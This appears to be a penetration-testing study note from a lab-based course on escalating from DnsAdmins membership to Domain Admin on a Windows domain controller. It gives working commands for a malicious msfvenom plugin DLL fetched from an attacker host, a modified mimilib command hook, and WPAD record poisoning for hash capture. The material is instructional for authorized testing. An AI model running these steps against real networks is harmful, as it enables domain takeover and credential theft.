Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Windows Privilege Escalation — Built-in Groups (DnsAdmins)

Members of DnsAdmins have administrative access to DNS configuration on the network. The Windows DNS service supports loading custom plugin DLLs to resolve queries outside locally hosted zones, and it runs as NT AUTHORITY\SYSTEM. Since the DNS service commonly runs on a Domain Controller, DnsAdmins membership can be leveraged into SYSTEM-level code execution on the DC — i.e. a path to Domain Admin.

Core mechanics (detailed in this post):

  1. DNS management happens over RPC.
  2. The ServerLevelPluginDll registry value lets the DNS service load an arbitrary DLL — with zero verification of the path.
  3. dnscmd (usable by DnsAdmins members, who lack direct registry rights) sets HKLM\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll.
  4. When the DNS service (re)starts, it loads the DLL at that path — which can be hosted on a share the DC’s machine account can reach.
  5. The DLL can do anything: pop a reverse shell, add a Domain Admin, or load something like Mimikatz to dump credentials.

Attack 1: ServerLevelPluginDll Abuse

1. Generate a malicious DLL

rnemeth@htb[/htb]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

2. Host and retrieve it

rnemeth@htb[/htb]$ python3 -m http.server 7777
PS C:\htb> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

3. Confirm group membership is required

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

As a non-privileged user this fails. Verify DnsAdmins membership:

PS C:\htb> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
SamAccountName    : netadm

4. Set the plugin DLL path (as a DnsAdmins member)

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Always specify the full path to the DLL or the attack won’t work. Only dnscmd can set this — DnsAdmins members don’t have direct registry permissions on the key.

5. Restart the DNS service to trigger the load

DnsAdmins membership alone doesn’t grant rights to restart the DNS service, but sysadmins sometimes delegate this too. Check the current user’s rights on the service:

C:\htb> wmic useraccount where name="netadm" get sid
S-1-5-21-669053619-2741956077-1013132368-1109

C:\htb> sc.exe sdshow DNS
D:(A;;CCLCSWLOCRRC;;;IU)...(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)...

RPWP = SERVICE_START + SERVICE_STOP. If present, stop and start the service:

C:\htb> sc stop dns
C:\htb> sc start dns

If the user can’t restart the service, the DLL loads whenever it’s next restarted/the server reboots.

6. Confirm success

C:\htb> net group "Domain Admins" /dom

Members
-------------------------------------------------------------------------------
Administrator            netadm

7. Clean Up (Required — Destructive Action)

Stopping/restarting DNS on a DC and modifying its config is destructive — it can take down name resolution for the entire AD environment. Get explicit client sign-off before attempting, and be ready to clean up or document reversion steps.

From an elevated console with local/domain admin rights:

C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    ...
    ServerLevelPluginDll    REG_SZ    adduser.dll

C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll

C:\htb> sc.exe start dns
C:\htb> sc query dns
        STATE              : 4  RUNNING

Confirm DNS is functioning again with an nslookup against localhost or another domain host.

Alternative Payload: mimilib.dll

mimilib.dll (from the Mimikatz author) can also serve as the plugin DLL. Its kdns.c can be modified to run a reverse shell one-liner or arbitrary command inside kdns_DnsPluginQuery:

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
    FILE * kdns_logfile;
    if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
    {
        klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
        fclose(kdns_logfile);
        system("ENTER COMMAND HERE");
    }
    return ERROR_SUCCESS;
}

Attack 2: WPAD Record via Global Query Block List Bypass

DnsAdmins membership also grants rights to disable the global query block list, which by default blocks WPAD (Web Proxy Automatic Discovery Protocol) and ISATAP (Intra-site Automatic Tunnel Addressing Protocol) DNS registrations (introduced in Server 2008 specifically to stop this abuse) — both protocols are highly vulnerable to hijacking, and normally any domain user could otherwise register these names.

PS C:\htb> Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
PS C:\htb> Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Once the block list is disabled and the WPAD record points at the attacker’s host, any machine using default WPAD settings will proxy its traffic through the attacker. Tools like Responder or Inveigh can then spoof traffic to capture/crack password hashes or perform SMB relay attacks.

Takeaways

  • DnsAdmins → SYSTEM on the DC via ServerLevelPluginDll is a well-known, high-impact escalation; it requires a DNS service restart to trigger, which may or may not be directly available to the group.
  • Both techniques (plugin DLL load, WPAD poisoning via query-block-list bypass) are destructive/risky on a production DC — get explicit client approval and have a rollback plan before testing.
  • Always check Get-ADGroupMember -Identity DnsAdmins during AD enumeration; it’s an easy-to-miss path to Domain Admin.